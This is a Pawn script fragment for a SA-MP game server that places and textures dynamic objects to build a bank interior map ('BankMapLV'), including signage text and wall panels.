BankMapLV = CreateDynamicObject(2040 , 1408.897217 , 1321.151733 , 1500.693359 , 0.000000 , 0.000000 , 75.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1409.038574 , 1321.158081 , 1501.127197 , 0.000000 , 90.000000 , 165.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2268 , 1408.466797 , 1320.846802 , 1501.149414 , 0.000000 , 90.000000 , -15.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2752 , 1408.875610 , 1321.140747 , 1500.810059 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(2268 , 1396.461426 , 1327.441284 , 1501.216919 , 0.000000 , 90.000000 , 150.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(2268 , 1396.461426 , 1321.787354 , 1501.216919 , 0.000000 , 90.000000 , 150.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(2268 , 1401.237671 , 1321.619751 , 1501.149414 , 0.000000 , 90.000000 , -195.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(2268 , 1403.025757 , 1321.619751 , 1501.149414 , 0.000000 , 90.000000 , -195.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(2268 , 1407.437744 , 1321.619751 , 1501.149414 , 0.000000 , 90.000000 , -195.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(2268 , 1409.360718 , 1321.619751 , 1501.149414 , 0.000000 , 90.000000 , -195.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
SetDynamicObjectMaterial(BankMapLV , 1 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(19327 , 1404.631958 , 1320.701050 , 1500.546021 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "2" , 120 , "Ariel" , 140 , 0 , -3801088 , 0 , 0);
BankMapLV = CreateDynamicObject(19327 , 1409.573975 , 1312.207031 , 1500.584961 , -90.000000 , 133.699005 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 120 , "Ariel" , 130 , 0 , -3801088 , 0 , 0);
BankMapLV = CreateDynamicObject(19327 , 1402.776001 , 1320.697021 , 1500.545044 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "1" , 120 , "Ariel" , 140 , 0 , -3801088 , 0 , 0);
BankMapLV = CreateDynamicObject(19327 , 1408.975952 , 1320.654053 , 1500.546021 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "3" , 120 , "Ariel" , 140 , 0 , -3801088 , 0 , 0);
BankMapLV = CreateDynamicObject(19327 , 1410.886963 , 1320.659058 , 1500.557983 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "4" , 120 , "Ariel" , 140 , 0 , -3801088 , 0 , 0);
BankMapLV = CreateDynamicObject(19327 , 1402.328003 , 1312.014038 , 1500.583984 , -90.000000 , 38.799999 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 120 , "Ariel" , 130 , 0 , -3801088 , 0 , 0);
BankMapLV = CreateDynamicObject(19327 , 1395.937012 , 1321.530029 , 1501.186035 , 0.000000 , 0.000000 , 150.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1395.922974 , 1327.192993 , 1501.193970 , 0.000000 , 0.000000 , 150.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1399.911011 , 1321.478027 , 1500.536987 , 0.000000 , 0.000000 , -195.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 0);
BankMapLV = CreateDynamicObject(19327 , 1402.588989 , 1321.240967 , 1501.116943 , 0.000000 , 0.000000 , -195.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1406.983032 , 1321.244995 , 1501.133057 , 0.000000 , 0.000000 , -195.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1408.897949 , 1321.248047 , 1501.130981 , 0.000000 , 0.000000 , -195.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , SERVER_NAME1 , 140 , "Century Gothic" , 35 , 1 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19443 , 1399.624146 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1400.971069 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1402.317993 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1403.665039 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1405.011963 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1406.359009 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1407.706055 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1409.053101 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1410.400146 , 1322.055054 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1400.216309 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1401.563354 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1402.910400 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1404.257446 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1405.604370 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1406.951416 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1408.298340 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19443 , 1409.645264 , 1311.752808 , 1505.275391 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(19444 , 1399.608154 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1399.640137 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1400.230591 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1400.198486 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1400.955200 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1403.649170 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1402.302246 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1404.996216 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1406.343140 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1407.690063 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1409.037109 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1410.384155 , 1322.039063 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1400.987061 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1402.334106 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1403.681152 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1405.028198 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1406.375244 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1407.722168 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1409.069214 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1410.416260 , 1322.071045 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1401.577637 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1401.545532 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1402.892456 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1402.924561 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1404.271606 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1404.239502 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1405.586548 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1405.618652 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1406.933472 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1406.965698 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1408.280518 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1408.312744 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1409.659668 , 1311.767456 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19444 , 1409.627441 , 1311.743286 , 1505.279419 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -16777216);
BankMapLV = CreateDynamicObject(19327 , 1408.100952 , 1310.651001 , 1502.121948 , 0.000000 , 73.999001 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 130 , "Ariel" , 199 , 0 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1406.401978 , 1310.647949 , 1502.151001 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , SERVER_NAME1 , 130 , "Century Gothic" , 140 , 1 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1407.197998 , 1310.646973 , 1501.958984 , 0.000000 , -17.400000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 130 , "Ariel" , 35 , 0 , -3801088 , 0 , 0);
BankMapLV = CreateDynamicObject(19327 , 1408.430054 , 1310.647949 , 1502.224976 , 0.000000 , 29.299999 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 130 , "Ariel" , 38 , 0 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1408.365967 , 1310.646973 , 1502.265991 , 0.000000 , 75.399002 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 130 , "Ariel" , 35 , 0 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1408.285034 , 1310.645020 , 1502.350952 , 0.000000 , 24.700001 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 130 , "Ariel" , 38 , 0 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1408.177002 , 1310.645020 , 1502.404053 , 0.000000 , 85.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 130 , "Ariel" , 46 , 0 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1408.062988 , 1310.645020 , 1502.322998 , 0.000000 , 157.600006 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 130 , "Ariel" , 38 , 0 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1407.995972 , 1310.644043 , 1502.274048 , 0.000000 , 84.299004 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 130 , "Ariel" , 26 , 0 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1407.931030 , 1310.647949 , 1502.238037 , 0.000000 , 135.098999 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 130 , "Ariel" , 32 , 0 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1407.910034 , 1310.647949 , 1502.185059 , 0.000000 , 168.098999 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "(" , 130 , "Ariel" , 26 , 0 , -3801088 , 0 , 1);
BankMapLV = CreateDynamicObject(19327 , 1404.163940 , 1310.647949 , 1502.142944 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterialText(BankMapLV , 0 , "BANK" , 130 , "Ariel" , 140 , 0 , -9591092 , 0 , 1);
BankMapLV = CreateDynamicObject(19443 , 1404.473877 , 1310.553955 , 1502.109741 , 90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(19443 , 1407.699951 , 1310.552002 , 1502.109741 , 90.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(19444 , 1409.516235 , 1308.967529 , 1502.109741 , 90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19444 , 1402.699951 , 1308.967529 , 1502.109741 , 90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19444 , 1404.361572 , 1309.916016 , 1502.859253 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19444 , 1407.855957 , 1309.916016 , 1502.859253 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19444 , 1407.855957 , 1309.916016 , 1501.316162 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19444 , 1404.361572 , 1309.916016 , 1501.316162 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19089 , 1412.647949 , 1315.855957 , 1502.581055 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 2360 , "shopping_acc" , "white" , -1);
BankMapLV = CreateDynamicObject(19089 , 1412.647949 , 1315.838013 , 1502.581055 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 2360 , "shopping_acc" , "white" , -1);
BankMapLV = CreateDynamicObject(2040 , 1412.624878 , 1315.818359 , 1502.684204 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 2360 , "shopping_acc" , "white" , -16777216);
CreateDynamicObject(2269 , 1406.176758 , 1323.375610 , 1501.538574 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2266 , 1399.117188 , 1311.734009 , 1502.317749 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2270 , 1392.395142 , 1319.998657 , 1501.760132 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(2265 , 1393.061646 , 1328.874268 , 1501.908936 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
BankMapLV = CreateDynamicObject(19377 , 1392.391724 , 1324.013916 , 1497.027466 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -10329502);
BankMapLV = CreateDynamicObject(19377 , 1392.391724 , 1327.053955 , 1497.007446 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -10329502);
BankMapLV = CreateDynamicObject(19448 , 1388.892212 , 1326.996582 , 1498.300537 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19448 , 1388.872192 , 1325.596558 , 1498.300537 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19448 , 1391.934692 , 1327.023682 , 1498.300537 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19377 , 1386.650024 , 1320.908569 , 1499.989014 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19358 , 1390.576782 , 1335.470215 , 1498.843994 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 14576 , "mafiaCasinoVault01" , "ab_corWallUpr" , 0);
BankMapLV = CreateDynamicObject(19377 , 1392.752686 , 1330.161499 , 1499.982056 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19358 , 1392.236816 , 1333.610229 , 1498.843994 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 14576 , "mafiaCasinoVault01" , "ab_corWallUpr" , 0);
BankMapLV = CreateDynamicObject(19377 , 1392.732666 , 1339.796021 , 1499.982056 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
CreateDynamicObject(14819 , 1403.346558 , 1352.281250 , 1489.839600 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
CreateDynamicObject(14576 , 1406.993652 , 1337.509155 , 1496.885010 , 0.000000 , 0.000000 , 270.000000, 26, 63, -1, 200.00);
CreateDynamicObject(8453 , 1372.714844 , 1335.528564 , 1499.510620 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
